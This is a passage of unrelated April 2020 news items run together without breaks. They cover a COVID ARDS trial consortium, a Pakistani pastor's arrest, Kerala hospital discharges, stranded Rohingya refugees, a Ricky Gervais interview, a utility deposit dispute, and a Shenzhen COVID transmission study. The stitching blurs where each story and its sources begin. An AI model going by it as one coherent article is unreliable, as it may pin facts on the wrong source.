walk away, the woman followed him down the street and continued to yell abuse at him'. She was charged with behaving in an offensive manner in/near public place/school, stalking and intimidation with intention to cause fear or physical harm and common assault. Her next court appearance is scheduled for June 25. SAN FRANCISCO, April 28, 2020 /PRNewswire/ -- Quantum Leap Healthcare Collaborative (QLHC), a non-profit organization focused on uniting patient care and research, and sponsor of the adaptive platform I-SPY 2 Trial, announced today a unique pre-competitive consortium created for an I-SPY COVID Trial to rapidly identify therapies to treat acute respiratory distress syndrome (ARDS) in critically ill COVID-19 patients. Approximately 10-15% of patients infected with SARS-CoV2 develop a severe acute respiratory illness, and nearly 70% of patients admitted to an ICU require ventilation for an average of two weeks; it is estimated over half of those patients will not survive. "The COVID-19 pandemic has brought Acute Respiratory Distress Syndrome (ARDS) to the forefront of public attention. It is one of the deadliest diseases that we face every day in critical care medicine. Patients with COVID-19 who wind up on ventilators have far too high a death rate, and I believe that the I-SPY 2 adaptive platform model will position us to work together to rapidly test agents and approaches that may decrease deaths and time on ventilators," said Carolyn Calfee, MD, Professor of Medicine and Critical Care, University of California at San Francisco (UCSF). "The members of this partnership are all committed and have the experience and desire to help us make a difference for ICU ventilated COVID patients." This unique partnership will include ARDS experts from the University of California at San Francisco and from more than 20 I-SPY 2 U.S. sites along with the COVID R&D Consortium, which is a consortium organized by the R&D heads of major US and European pharmaceutical and biotechnology companies. Through this unprecedented alliance, the I-SPY 2 principal investigators are supporting and partnering with ARDS colleagues at their institutions across the U.S. to adapt the efficiency and rigor of the I-SPY 2 adaptive platform breast cancer model to rapidly test a large number promising agents for their potential use against COVID-19 related ARDS. "Collaboration between pharmaceutical companies in a pre-competitive setting like the COVID R&D consortium is the best way forward to address the profound reality of ARDS in COVID-19 patients no sector can move quickly enough on their own. But with the right investigators, agents and collaborators across disciplines, we will rapidly learn what does and does not work," says Laura Esserman, MD, founder and Co-Principal Investigator of I-SPY 2, Member, QLHC Board of Directors, Director, Carol Franc Buck Breast Care Center, UCSF. "Through our I-SPY 2 investigators teaming up with equally committed ARDS physicians, we can apply all that we have learned in I-SPY 2 for the benefit of current and future COVID-19 patients." The I-SPY COVID Trial (Investigation of Serial studies to Predict Your COVID Therapeutic Response with biomarker Integration and Adaptive Learning) is the first COVID-19 ARDS trial to employ an adaptive platform design. This will enable comparing any new potential treatment for COVID-related ARDS to existing therapies. Over time, the COVID-19 ARDS trial will become a learning system for what does and does not work in this disease. Data from the agents tested in adaptive platform trials can quickly demonstrate whether a new therapy is better, worse or equivalent than standard of care treatments for this challenging disease. Like the I-SPY 2 trial, the adaptive platform trial approach offers the opportunity to utilize multiple arms so that several potential ARDS therapies can be evaluated simultaneously. As shown in over 10 years of the I-SPY 2 trial for breast cancer, when these advantages come together through this novel design, it will be possible to rapidly evaluate many more agents, including combinations of therapies, for ARDS in COVID-19 patients than would be possible in classic clinical trials. The goal is to evaluate 10-20 agents in a year, depending on how long the virus persists and the associated rate of respiratory distress. "The I-SPY framework is well suited to find effective treatments for COVID-19 caused ARDS that is proving to be so deadly for patients. QHLC is honored to lead this unique consortium and we are all committed to success for the benefit COVID ARDS patients who are in such desperate need," said James Palazzolo, CEO, QHLC. QLHC will employ its existing I-SPY clinical trials network of over 20 sites to operationalize the I-SPY COVID Trial. A subset of these sites will begin enrollment of the I-SPY COVID Trial to enable a rapid launch followed by expansion to all sites in the following weeks. The combined power of this QLHC partnership is further strengthened through regular communications with the Food and Drug Administration (FDA), which has long sought to increase the efficiency and speed of identifying safe and efficacious agents through innovative clinical trials designs. Like this COVID-19 ARDS collaboration, the I-SPY 2 trial was originally developed through a partnership between the Foundation for the NIH and the FDA over a decade ago. In the aggregate the overall goal of this combination of QLHC, ARDS investigators, I-SPY 2 Site Partners, COVID R&D Consortium, with counsel from FDA, is to substantially decrease the number critically ill patients that have to be ventilated and die of this disease, and the number of days they spend on ventilators and in the ICU. "I-SPY has proven to be effective in identifying promising treatments, while maintaining safety standards and statistical rigor," said Janet Woodcock, MD, Director of the Center for Drug Evaluation and Research (CDER), Food and Drug Administration. "Precompetitive collaborative efforts like this one are critical to rapidly identify effective agents against the ARDS we are seeing in COVID-19 patients to decrease suffering and lower mortality." The I-SPY COVID Trial will have up to 4 experimental treatment arms being studied at any one time. Agents can be dropped in or out of the trial without stopping the trial. Each arm will receive a standard-of-care treatment as a common "backbone" which will serve as a control. If therapies are found to be effective, they will "graduate" at which point they will stay in the trial, or if the signal for patient improvement is strong, a successful therapy could become the new standard-of-care when appropriate. New therapies could then be added to the new standard-of-care which becomes the backbone, enabling testing combinations of therapies that may be essential to improve outcomes in this complex disease. "A key component of the adaptive trial is its speed: the more effective a treatment is, the more quickly it can graduate and move into patient care. Preventing this terrible outcome from COVID-19 is essential if we are to be able to return to our lives and livelihood. We are impressed by the collaborative nature of this effort and the pace of progress and we have committed to work with them as partners," said Keith Gottesdiener MD, Chair of the COVID R&D Consortium, Therapeutics Sub-team. A standing committee, the Agents Working Group, of the I-SPY COVID Trial will evaluate the safety and potential for effectiveness of numerous agents both repurposed and novel drugs. Successful candidates will also be evaluated on the basis of the capacity of the pharmaceutical sponsor to rapidly produce sufficient drug for use on a global scale. "While an effective vaccine is our best strategy to address the challenges of COVID-19 in the future, it will take time, and in parallel we need to identify agents to reduce both the time on ventilators and the mortality of COVID-19 ICU patients. This unique partnership is exactly what we should be doing using knowledge from innovative trials like I-SPY 2 to quickly address a problem like ARDS in COVID-19. This type of collaborative teamwork is the way science should be done," stated Dr. Anna Barker, PhD, Chief Strategy Officer, USC Lawrence J. Ellison Institute for Transformative Medicine, Member, QLHC Board of Directors and Former Deputy Director, National Cancer Institute (NCI). About Quantum Leap Healthcare Collaborative Quantum Leap Healthcare Collaborative is a 501C(3) charitable organization established in 2005 as a collaboration between medical researchers at University of California, San Francisco and Silicon Valley entrepreneurs. Our mission is to integrate high-impact research with clinical processes and systems technology, resulting in improved data management and information systems, greater access to clinical trial matching and sponsorship, and greater benefit to providers, patients and researchers. Our goal is to improve and save lives. Quantum Leap provides operational, financial, and regulatory oversight to the I-SPY Trials. For more information, visit www.QuantumLeapHealth.org. About the I-SPY Trials The I-SPY Trials were designed to rapidly screen promising experimental treatments and identify those most effective in specific patient subgroups based on molecular characteristics (biomarker signatures). The trial is a unique collaborative effort by a consortium that includes the Food and Drug Administration (FDA), industry, patient advocates, philanthropic sponsors, and clinicians from 20 major U.S. medical research centers. Under the terms of the collaboration agreement, Quantum Leap Healthcare Collaborative is the trial sponsor and manages all study operations. For more information, visit www.ispytrials.org. SOURCE Quantum Leap Healthcare Collaborative Related Links http://www.QuantumLeapHealth.org More than 100 thousand people downloaded covonavirus tracking app in Georgia - GeorgianJournal LAHORE, Pakistan, April 27, 2020 (Morning Star News) Presbyterian assistant pastor Sarfaraz Raja was preparing to deliver a Good Friday sermon in Pakistan on April 10 when his brother informed him by phone that police had intruded into his house and were harassing his mother and other family members. Upset that the pastor had complained of police misbehavior and knowing that Christians had little status in the 96-percent Muslim society, the officers were planning to frame him on trumped-up charges of making and selling liquor, sources said. I excused myself from the sermon and immediately rushed to my home accompanied by the village headman, Chaudhry Ranjeet Lal, and some other people, said Pastor Raja of Youngsen Memorial Church in Youngsenabad village in Nankana District, Punjab Province. They arrived to find Sub-Inspector Malik Shahbaz Ahmed and five other policemen in the courtyard threatening his mother and other family members, he said. I asked the police why had they entered my house without a warrant and were misbehaving with my family, at which point SI Shahbaz, instead of explaining the purpose of his raid, grabbed my collar and bundled me into their official vehicle amid protests by my family members and the village elders, Pastor Raja said. Police also arrested his uncle, Manzoor Raja, known as Kaali, who lives with the family, he said. The pastor said that upon reaching the police station, officers took out liquor manufacturing equipment from a room and forcibly took the two mens photographs with it. They then registered a case (No. 184/20) against them under anti-narcotics and illegal substance laws, accusing them of illegally manufacturing and selling liquor, he said. He was released on bail the next day. Police falsely arrested him because he has complained about them protecting area criminals, the pastor said. Almost all crimes in our villages are backed by the local police, he said. The previous week, he had seen three young men scaling a wall of a government school for girls in front of his house late at night. All schools were closed to contain the spread of the novel coronavirus. He called police, and officers led by Shahbaz arrived and arrested the suspected thieves releasing them without charges after taking them to the police station. Pastor Raja informed the school principal, and she called the chief inspector of the police precinct, Muhammad Ali Chaddar, who summoned Shahbaz and demanded an explanation, the pastor said. Chaddar also sent officers to re-arrest the suspects, but the youths were again released by the police after a few hours on the grounds that they had only trespassed and had not stolen anything, Pastor Raja said. He said his involvement and prior complaints of criminal activities had drawn the ire of Shahbaz, who then conspired to malign him by implicating him in a fake case. The entire village is sick and tired of the police high-handedness, but all our appeals for intervention of senior officials have gone in vain because we [Christians] are a weak community, he said. Villagers are standing by ready to vouch for him, he said, and the village headman, Lal, said he supported Pastor Raja. I along with several other elders of our village pleaded with the police not to tarnish the reputation of our pastor by framing him in a false case, but they threatened to arrest us as well, Lal told Morning Star News. We all have submitted written statements vouching for the pastors innocence to senior police officials, but no one is paying heed to our pleas. Lal, a member of the pastors church, said they would continue trying to clear their pastors name. This is sheer injustice of the state, he said. The police not only caused us anguish and pain by violating the sanctity of Good Friday, they have also shaken our faith in the constitution and law that assure us complete security of life and well-being as non-Muslim Pakistanis. Police Denial Shahbaz denied to Morning Star News that a case against Pastor Raja had been concocted, though he later remarked that he was willing to make a compromise with the Christians if they withdrew their complaints to senior government and police officials regarding the arrest of the pastor. Shahbaz claimed that a secret informer had told him that Pastor Raja and others were distilling liquor at his home. He acknowledged that police had no previous record of Pastor Raja being involved in any criminal activity. But Im sure that the liquor is being prepared and sold in at least seven villages of the district under Rajas supervision, he said, without providing any evidence or witness testimony. Islam forbids alcohol consumption, and only four private companies are licensed to produce and sell alcohol to non-Muslim Pakistanis. Punjab Minister for Human Rights Ijaz Alam Augustine said that he had ordered an inquiry. Notables of the village informed me about the incident, and I have initiated an inquiry, Augustine told Morning Star News. I was appalled to know that police raided the village at a time when Christians were busy in Good Friday services in their churches and homes, and that too without any valid reason. I can assure that a thorough probe will be conducted, and those found guilty of misusing their authority will be subjected to departmental punishment. Pakistan ranked fifth on Christian support organization Open Doors 2020 World Watch list of the 50 countries where it is most difficult to be a Christian, and on Nov. 28, 2018, the United States added Pakistan to its blacklist of countries that violate religious freedom. If you would like to help persecuted Christians, visit http://morningstarnews.org/resources/aid-agencies/ for a list of organizations that can orient you on how to get involved. If you or your organization would like to help enable Morning Star News to continue raising awareness of persecuted Christians worldwide with original-content reporting, please consider collaborating at https://morningstarnews.org/donate/? Article originally published by Morning Star News. Used with permission. Photo courtesy: Morning Star News Kerala Chief Minister Pinarayi Vijayan on Tuesday lauded the staff of Kasaragod general hospital which discharged the last of its 89 COVID-19 patients who were admitted since the outbreak of the disease last month. Kasaragod had the highest number of coronavirus patients in Kerala --175. However, the cases there have been reduced to 13 due to the efforts of district authorities and the health staff and the strict implementation of lockdown by the police. "Kasaragod had the highest number of patients in the state. However, the general hospital there had cured 89 patients and the last person was discharged today. A strong 200-member team of doctors and other health workers have done a wonderful job I would like to congratulate them," Vijayan told media. The general hospital at Kasaragod had 89 patients, while Kanhangad district hospital 43 patients. The recently opened medical college hospital, which was converted into a coronavirus treatment centre, had 22 patients and Pariyaram medical college treated 19 patients. Two from Kasaragod were treated in Kozhikode Medical college. "As of now, there are 13 COVID-19 patients in Kasaragod of which eight are treated in the recently opened covid treatement centre and four in Kanhangad district hospital," state Health Minister K K Shailaja said in a release. The district was in the recently for the highest number of COVID-19 patients in the state and also for a meagre medical infrastructural facility. However, the state government swiftly took control of the situation and opened the under construction medical college in the district and converted it into a COVID-19 treatment centre. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) UN rights chief warns of 'human tragedy of terrible proportions' in Bangladesh Iran Press TV Monday, 27 April 2020 5:55 PM The United Nations' top human rights official has called on the Bangladeshi authorities to allow the disembarking of two stranded boatloads of starving Rohingya Muslim refugees who have fled Myanmar by boats. In a letter to the Bangladesh government on Monday, UN High Commissioner for Human Rights Michelle Bachelet warned of a "human tragedy of terrible proportions" unless action is taken to help the Rohingya. "In a spirit of solidarity and at the beginning of the Holy Month of Ramadan, I appeal to you in the strongest terms to open your ports and allow the boats to land," she wrote, at a time of a novel coronavirus that has taken many lives since late December. "The reportedly more than 500 men, women and children aboard these boats have been at sea for an extended period of time, and we understand that they require urgent rescue, food, medical care and other necessary humanitarian assistance." Bachelet said "dangerous interception practices and collective expulsions, including pushing back boats that are trying to land, must be scrupulously avoided." Bangladeshi Foreign Minister A.K. Abdul Momen said the country would not accept the boats. He said on Thursday that the navy and coast guard had been ordered "not to let these boats enter Bangladesh." Amnesty International says it believes there could be "at least three boats in the high seas" stranded for several weeks "without food and water, at high risk of death." Earlier this month, a Malaysian surveillance aircraft reportedly prevented a boat transporting hundreds of Rohingya refugees from entering Malaysian waters, forcing the boat back into waters off southern Thailand. The Malaysian air force said it feared that the group of refugees might bring the coronavirus into the country. On April 15, the Bangladesh coast guard said a boat with nearly 400 starving Rohingya arrived on the southern coast of Bangladesh after drifting for weeks in the sea between Thailand and Malaysia. Survivors said at least 60 people died on the boat. Refugee advocates say several boats carrying Rohingya Muslims are stranded in the Bay of Bengal and Andaman Sea. Pressure is also on Myanmar to improve its treatment of the Rohingya after a bloody military crackdown in 2017 sent around 750,000 civilians fleeing into Bangladesh and prompted 'genocide' charges at the UN's top court. The country must report back to the International Court of Justice next month on the efforts it was taking to protect the minority. Hundreds of Rohingya have been arrested and charged with immigration offences in recent years after trying to flee Rakhine state and seek refuge in other countries. But the Rohingya garner little sympathy within Myanmar, where they are widely viewed as illegal immigrants even though many trace their roots in the country's past generations. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address (Alliance News) - Proactis Holdings PLC on Tuesday said it has agreed a fundamental reset of its HSBC UK banking facilities with revised covenants, an optional expiry extension, and another GBP3 million of short-term capital. Shares in Proactis ended 36% higher in London at 29.20 pence. Proactis said the reset reflects its "much improved financial position and growth strategy and the continued support of HSBC UK". Changes include the rescheduling of the loan's amortisation profile, allowing for another GBP3 million of capital in the short term to support the spend management solution company's growth strategy. "As previously described, the group has made encouraging progress in line with its strategy during the six-month period ended 31 January 2020 which will be presented in detail within the group's interim results announcement scheduled for 29 April 2020," said Proactis. On top of this, covenants have been revised to give "material headroom to the current business plan" and the firm has gains the conditional option to extend the current agreement's expiration date to July 2023 from July 2022. Chief Executive Tim Sykes said: "We appreciate the continued support of our long-term partner, HSBC UK, and look forward to strengthening our relationship further. The reset of the basis of our facilities with HSBC UK is a fundamental foundation for the group's mid-term business plan and it gives us great confidence that this business is fully funded to deliver our current growth plan for the foreseeable future." By Anna Farley; annafarley@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. Mumbai: Veteran filmmaker Priyadarshan says he had initially approached big names like Ayushmann Khurrana and Kartik Aaryan for the sequel of his 2003 comedy 'Hungama', but none of them showed interest in the project. The National Award-winning filmmaker, who roped in one-film-old Meezaan Jaffery to star in 'Hungama 2, believes popular stars must have thought he is an "outdated" director. "I didn't go directly to meet them but my concept was narrated to a lot of actors like Ayushmann Khurrana, Kartik Aaryan and Siddharth Malhotra. They all refused to do the film ('Hungama 2'). Now, I am working with Meezaan. "They all refused because maybe they thought I am an outdated director, because I was out of the Hindi film industry for five years," Priyadarshan told PTI. In a career spanning over three decades, Priyadarshan has directed more than 95 films in various Indian languages, including Malayalam, Hindi, Tamil and Telugu. He is best known for his films in the south such as 'Kanchivaram', 'Kaalapani', 'Oppam', 'Thenmavin Kombath', whereas some of his most notable movies in Hindi include 'Virasat', 'Hera Pheri', 'Hungama', 'Hulchul?', 'Chup Chup Ke', 'Bhool Bhulaiyaa' among others. The director said he prefers working with actors who believe in his conviction. "They seemed disinterested. They don't tell it to you on your face. I don't like to beg to actors and I prefer to work with somebody who believes in me. "Many times when you request an actor to do a film, they show respect to you, offer you coffee and nicely they will avoid you, because maybe they don't trust you." Priyadarshan said he is happy with the way 'Hungama 2' has shaped up so far. He said both the original and sequel have a common theme - confusion. "It is a film of total misunderstanding. The old film is about misunderstanding and confusion and same is the case with 'Hungama 2' but the story is different." The 2003 original film featured Paresh Rawal, Shoma Anand, Akshaye Khanna, Aftab Shivdasani, and Rimi Sen in lead roles. The second part features Rawal, alongside a new cast, which includes Meezaan, Shilpa Shetty and south actor Pranitha Subhash. The director said he is happy to have collaborated with them for the film. Priyardarshan said due to the coronavirus pandemic the shoot of the film has got affected. ?We had 12 more days of shoot left. We were to shoot in Kullu-Manali, there was one song and few scenes left. Almost 80 per cent of the film is complete. We could have finished the film by now if not for coronavirus. I enjoyed doing the film, I am happy with it. I hope when people see it, they like it too.? ?Hungama 2?, produced by Ratan Jain, is scheduled to be released in August Ricky Gervais generally has reliable comic timing. He helped usher in a renaissance of documentary-style cringe comedy as a creator and star of the original British version of "The Office." And he has successfully positioned himself against the well-heeled Hollywood crowd that occasionally invites Gervais to mock them to their faces as host of the Golden Globes. (In his routine in January, Gervais roasted his celebrity peers for their displays of social consciousness while they worked for corporations like Amazon, Apple "a company that runs sweatshops in China" and Disney. "If ISIS started a streaming service you'd call your agent, wouldn't you?" he taunted.) But will the current cultural moment be as receptive to Season 2 of Gervais' dark comedy series "After Life" after Netflix released it April 24 amid a pandemic? On this show, which Gervais created, writes and directs, he also plays the lead role of Tony Johnson, a widower still mourning his wife, Lisa (Kerry Godliman), who died of breast cancer. In his grief, Tony resolves to become the person he's always wanted to be self-assertive, impolitic and largely resistant to the efforts of friends who hope to steer him onto more positive paths. "After Life" is suffused with an existentialism that could make it either an ideal tonic right now or too uncomfortably real and Gervais knows that its tone is tricky even under normal circumstances. As he said in a recent video chat from his home in north London: "The big worry for me was, could people go from laughing about something ridiculous to crying about something very real? I think the answer is yes." Gervais talked about making comedy out of misery, the response to his Golden Globes set and his wariness of celebrity worship. These are edited excerpts from that conversation. Q: How is your quarantine going? A: We're in one of the better places called the Vale of Health. I think that's a good omen. We're on lockdown but you're allowed to exercise every day. I've turned into that guy when I see people having picnics and stuff like that, I want to call the police: "There's some ne'er-do-wells having fun and games!" Q: Are things really all that different for you? A: Apart from the gigs that were postponed, my life hasn't changed much. I didn't go out a lot, and there's always enough booze in the house for a nuclear winter. You won't hear me complain. Not when, every day, I see some millionaire celebrity going, "I'm sad that I'm not on telly tonight." Or, "I had a swim in the pool that made me feel a little bit better." (Begins to sing.) "Imagine there's no heaven " Q: Your comedy is often critical of fame and the people who covet it. Do you think that the pandemic has accelerated our distaste for celebrity culture? A: I've got nothing against anyone being a celebrity or being famous. I think that people are just a bit tired of being lectured to. Now celebrities think: "The general public needs to see my face. They can't get to the cinema I need to do something." And it's when you look into their eyes, you know that, even if they're doing something good, they're sort of thinking, "I could weep at what a good person I am." Oh dear. Q: But when you perform a stand-up routine like the one you did at this year's Golden Globes, you don't have to look over your shoulder when the night is over? A: No, the world hasn't changed. No one looks at me differently. And I've got nothing against those people, really. I think that's the mistake people make: They think that every joke is a window to the comedian's soul because I wrote it and performed it under my own name, that that's really me. And that's just not true. I'll flip a joke halfway through and change my stance to make the joke better. I'll pretend to be right wing, left wing, whatever wing, no wing. I've got to go after the richest people in the room, and NBC and the Hollywood Foreign Press (Association, which organizes the Golden Globes). I've got to be a court jester, but a court jester's got to make sure that he doesn't get executed as well. I've got to make all the peasants laugh at the king, but the king's sort of got to like it. (Laughs.) Q: A lot of political conservatives became fans of yours after that performance because they felt you'd finally stuck it to the Hollywood elite. Do you think any were driven away after they learned you didn't share their viewpoints on other issues? A: I didn't notice that on Twitter until a couple of disgruntled liberal elites suddenly said, "Oh, Gervais is alt-right now." And I went, what? What's right-wing about taking the mickey out of the richest, most powerful corporations on the planet? But I've had this before. People that followed me, if they were far right, they're probably not atheists like me. They probably don't like some of the language that I use. They probably don't agree with my anti-trophy hunting stance. In general, I think most normal people follow a person for a particular reason or two. If the tweets I hate outnumber the ones I like, I'll unfollow him. No one has to be perfect to have friends. They just have to be, on balance, OK. Q: The themes of death and how we deal with loss are pervasive in "After Life." Does that make it any more attuned to the current moment? Or does that make it harder to watch? A: I think we second-guess people too much. We worry about what the people at home can take. Real life's worse. They can take all of this. It stuns me that people still think, "Oh, you shouldn't joke about that." We're reading about it in the paper why can't we joke about it? With other shows of mine, people come up to me on the street, and they usually say, "I love the show." But with this one and this was before coronavirus they come up to me and say, "I just want to say, I lost my sister three weeks ago." Or, "I lost my husband." No one said, "Oh, I had to turn it off because it was too upsetting," or, "It reminded me of something bad." You suddenly realize, of course everyone's grieving. And the older you get, the more you've got to grieve. Q: There's a scene in one of the new episodes when Tony tells another character: "Everything's bad for you. We're all dying. Being healthy is just dying more slowly." Do you think about moments like that one differently now? A: I think it would be different if I did a show that was specifically about coronavirus (wearily) which there are going to be hundreds. And novels. And weird, fake reality shows. But in the abstract, it's a joke about death, and people are dying all the time. People aren't going, "No one was dying until this year that joke didn't age well." Tony's acting nihilistically. He's reminding people that he's not over it. He still wants to punish the world. There's a narcissism to his grieving, in a way. And then he confronts people that are worse off than him and make him feel slightly spoiled. We all go through that. Q: What gets us out of our nihilism and gets us over attitudes like that? A: One of the ideas in "After Life" is about how the mundane saves us. We need those little things. The fact that the dog, literally and metaphorically, saves Tony's life, over and over again. I say to the dog, "If you could open a can, I'd be dead now." Death is the last taboo. It's imminent. It's going to happen. We just don't want it to be now, whenever it is. But we can still joke about it. I don't know if that makes the show any more or less poignant or entertaining than any other time. But people do all the things they're supposed to now: They stay in. They wash their hands. They phone their family. And then, I think, they want to watch "Tiger King." You know? No one's thinking about coronavirus when they're watching. And life goes on. Life's got to go on. Life goes on. Moving in the middle of a pandemic felt terrifying to Alyssa Flores, but she was looking forward to settling into an apartment in the town of Hudson, leaving her small Hyde Park residence to relocate closer to her new job in Worcester. Flores went through all the steps, putting down first and last months rent, a security deposit, a pet deposit and submitted applications for utilities. Then, Flores said she was puzzled to receive a statement from Hudson Light and Power, the community-owned municipal utility that services Hudson, Stow and parts of surrounding towns, looking for a $550 deposit to have the electricity turned on for May 1, her scheduled move-in day. A Hudson Light policy document explains that all customers must pay a security deposit. For residential customers, deposit amounts vary from $300 to $550 for different residential rates, according to the document. Flores said her partner had just been laid off because of COVID-19, leaving finances a little tight. Amid the coronavirus crisis, more than 650,000 new unemployment claims have bee filed in Massachusetts since mid-March, representing about 18% of the total state workforce eligible for the benefits, a number higher than the national average. Flores inquired about a waiver or payment plan and was told no such options existed. After writing a letter about her situation and attending a virtual meeting for the Hudson Municipal Light Board to ask for a waiver, Flores said she was repeatedly told a waiver was not an option and that without payment, her electricity would not be turned on, despite the pandemic. Flores reached out to her network of friends and colleagues looking for help. A fellow graduate of Smith College had a connection to the chair of the Hudson Municipal Light Board and reached out on her behalf, Flores explained. Eventually, Flores received a link via email from Hudson Light that indicated a waiver had been available all along. The deposit policy is easy to find on the Hudson Light website or through a Google search. Dated 2016, the policy explains that customers can apply for a waiver if they present a reference letter from their previous electric company certifying no more than one late payment in the last two years. Flores said it appeared to her that the board did not take the time to research the Hudson Light policies. It really felt like they were either withholding the information because of who they thought I was or they were either refusing to investigate their own policy, Flores said in an interview. Flores, who described herself as a woman of color, said that ultimately, she felt discriminated against and felt like the board did not appear to care about her situation. What other reason do they have to not consider a situation like this or not consider their constituents, she said. They have the power really to make a difference in the situation, to be understanding about the fact that this is a global pandemic. Justin Provencher, the chairman of the Hudson Municipal Light Board, did not respond to calls and an email seeking comment. Hudson Light responded to a request for comment with the following statement: For privacy reasons, Hudson Light and Power will not discuss a specific customers account or financial situation. Regarding the Departments deposit policy, potential customers are typically informed of the policy during an initial phone conversation and also as part of the application process. In some cases, customers have approached the Board, although rare, for a waiver outside and beyond the scope of the existing policy. Typically the Board follows the policy as it provides potential customers with two options, documentation of prior satisfactory payments with another utility company or a deposit. After making a verbal request for a waiver, Flores, in her letter to the Hudson Municipal Light Board, an elected three-member board that meets once a month, laid out her situation, preparing to speak during the public meeting held via Zoom on April 21. This past week, while setting everything up for the move, I received correspondence stating that we would need a $550.00 deposit to have our electricity turned May 1st, our scheduled move-in day. On top of 3 months rent, a pet deposit, and the costs associated with moving, as well as an unrelated but unexpected emergency vet visit, the $550.00 deposit feels insurmountable, Flores wrote in the letter, emailed to Hudson Light on April 17. Under normal circumstances, this deposit would be less of a financial burden, however considering the global pandemic and the recent lay off of my partner, we are struggling to come up with the money to have our lights turned on. Flores used the letter to suggest a financial hardship waiver for people who cannot afford a large deposit during a pandemic. As you can understand, this is a terrifying situation to be in. My work relies entirely on having electricity and internet, and as my job is the only source of income we currently have, it is extremely vital that we have access to these public utilities, she wrote. When Flores was able to speak during the citizen issues portion of the Hudson Light Municipal Board meeting via Zoom, she said she clashed with members of the board. Flores said the board told her a payment plan or waiver didnt make sense. She said she asked the board to be empathetic to her situation and that she was interrupted. Following the meeting, Flores found out about the waiver through the fellow graduate of Smith College who had a connection to the board and reached out on her behalf. An email from Hudson Light sent to Flores April 22 has a link to the available waiver. The Board asked me to forward you the deposit policy that appears on our website, the email reads. They wanted me to point out that The deposit may be waived for Residential Customers who present a reference letter from their previous electric utility certifying no more than one late payment for the last two (2) years immediately prior to applying for electric service with the Department. Flores said she was able to apply for the waiver after the state Department of Public Utilities reached out to Eversource, her current utility company, on her behalf to get the reference letter to Hudson Light. Since then, Hudson Light has confirmed that Flores electricity will be turned on, she said. But, 26-year-old Flores said her concern remains with what might happen to other people who are moving and may not know a waiver is available, or for people who are moving during the pandemic and are not able to get a reference letter to apply for the waiver. The bigger issue for me with this deposit is how expensive it is, she said. Last month, Gov. Charlie Baker ordered all investor-owned utility companies to not shut off gas, electric or water services for people who fail to pay their bills amid the state of emergency declared during the pandemic. Related Content: The extensive use of epidemiological surveillance, isolation of infected patients, and quarantines of exposed individuals in the Chinese city of Shenzhen in the early months of the COVID-19 outbreak allowed scientists to estimate important characteristics of this now-pandemic infectious disease, according to a study co-led by researchers at Johns Hopkins Bloomberg School of Public Health. The researchers, who published their findings April 27 in The Lancet Infectious Diseases, analyzed data gathered by the Shenzhen Center for Disease Control and Prevention on 391 people with COVID-19--what are referred to as "index cases," or the first identified cases in an outbreak--and 1,286 of their close contacts, during the 30-day period January 14 to February 12. Shenzhen is a densely populated city of about 13 million people, situated just north of Hong Kong. The analysis, thought to be the first of its kind in such a well-documented and well-tested set of cases, revealed that the COVID-19 index cases had symptoms for about five days on average before being identified, but that contact tracing and extensive testing reduced this to about three days for infected contacts. Among the contacts, household contacts were at particularly high risk of infection. Children, while less likely to develop severe symptoms, were infected at about the same rate as adults. "Having data on an early set of infected individuals as well as their contacts allowed us to tackle questions about COVID-19 transmission dynamics that had been hard to answer before," says study co-senior author Justin Lessler, associate professor in the Bloomberg School's Department of Epidemiology. The study was a collaboration between Lessler's group at the Bloomberg School; Ting Ma, PhD, and colleagues at the Harbin Institute of Technology and Peng Cheng Laboratory in Shenzhen; and Tiejian Feng, MD, of the Shenzhen Center for Disease Control and Prevention. How an emergent pathogen is transmitted from one individual to the next can be difficult for epidemiologists to assess once community spread has begun since the potential paths of transmission become too complex to trace reliably. By contrast, early in an outbreak, before community spread has started, epidemiologists can much more easily assess transmission dynamics by finding symptomatic people, and then tracing their recent contacts to see who got infected and who didn't. Prompted by reports from Hubei Province, where the COVID-19 outbreak appears to have started in the city of Wuhan in late 2019, the Shenzhen CDC in early January began gathering and testing suspected cases in the city: people who had recently traveled from Hubei, people with fevers in local hospitals, and others identified through community fever screening. The public health agency also traced all recent close contacts of suspected cases. Suspected or confirmed cases with symptoms were isolated in local hospitals, and asymptomatic people with test-confirmed exposures were quarantined. For their study, Lessler and colleagues analyzed the data gathered by the Shenzhen CDC from January 14 to February 12. The researchers found that among the 391 confirmed cases of COVID-19 during this period, men (187 cases) and women (204 cases) were about equally represented, though men were about 2.5 times more likely to show severe symptoms. Children also were about as likely as adults to be infected, though they were less likely to have severe symptoms. Only about 9 percent of the 391 infected people showed severe symptoms at the time they were first evaluated by doctors. Among the secondary cases discovered by contact tracing, 20 percent reported no symptoms at the time they were first evaluated--suggesting that a significant proportion of coronavirus carriers are "silent carriers," at least during the early stage of infection. The average age of the 391 infected people was about 45. The sample of 391 people included subsets for whom the timing of key events was known with high confidence, enabling the researchers to estimate key time intervals for COVID-19. For example, the "incubation period," from exposure to symptom onset, had an estimated median value of 4.8 days. The median recovery time--the interval from symptom onset to having no symptoms and also testing negative for viral RNA--was 23 days for 60-69 year olds, 22 days for 50-59 year olds, and 19 days for 20-29 year olds. The "attack rate," or the proportion of close contacts of a confirmed case that are infected, was 6.6 percent when the researchers assumed that all close contacts were tested and all positive results were recorded. The attack rate was higher--11.2 percent--for household contacts. The "serial interval," which approximates the interval between one person's becoming infected and infecting another, had an average value of 6.3 days. The researchers also calculated that the "observed reproduction number," the average number of detected infections caused by each infected person, was just 0.4. That low figure, suggesting a disease that will quickly die out instead of spreading, was likely in part due to the Shenzhen CDC's efforts to detect and isolate the index cases and their contacts. If the reproductive number remains less than one, infection is not able to spread effectively. Lessler notes, however, that the 0.4 figure is based only on the known infected contacts. "We don't have the full picture--there weren't data on all the unknown contacts of each case, such as the people who rode on buses with them, or passed them on the street," he says. Moreover, the researchers found that some infected individuals accounted for many further infections, implying that such superspreaders could relatively easily reignite outbreaks. "Our analysis suggested that about 80 percent of infections among contacts were caused by just 8.9 percent of our index cases," says study co-first author Qifang Bi, MHS, a PhD student in the Bloomberg School's Department of Epidemiology. These estimates for key COVID-19 intervals and rates will help epidemiologists, pharmaceutical scientists, and public health officials around the world shape their goals and policies to meet the challenge of the pandemic, the researchers say. ### "Epidemiology and Transmission of COVID-19 in Shenzhen China: Analysis of 391 cases and 1,286 of their close contacts: a retrospective cohort study" was written by 22 researchers from the Bloomberg School and collaborating institutions. The study was supported by the U.S. Centers for Disease Control and Prevention (NU2GGH002000), the Emergency Response Program of Harbin Institute of Technology, and the Emergency Response Program of Peng Cheng 